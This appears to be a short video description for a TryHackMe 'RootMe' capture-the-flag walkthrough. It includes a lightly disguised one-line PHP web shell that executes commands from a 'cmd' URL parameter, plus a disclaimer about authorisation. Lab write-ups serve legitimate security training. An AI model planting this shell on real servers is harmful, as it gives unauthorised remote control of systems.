TryHackMe RootMe CTF Walkthrough

The CTF can be found at:

At 6:42 I mean the SUID section; that entire page is python.

The web utilities I used in this video can be found at:

The web shell shown (replace the beginning and ending signs with their repsective symbols):
LessThanSign?php echo(system($_GET['cmd'])); ?GreaterThanSign

As always, don't hack stuff you're not authorized to.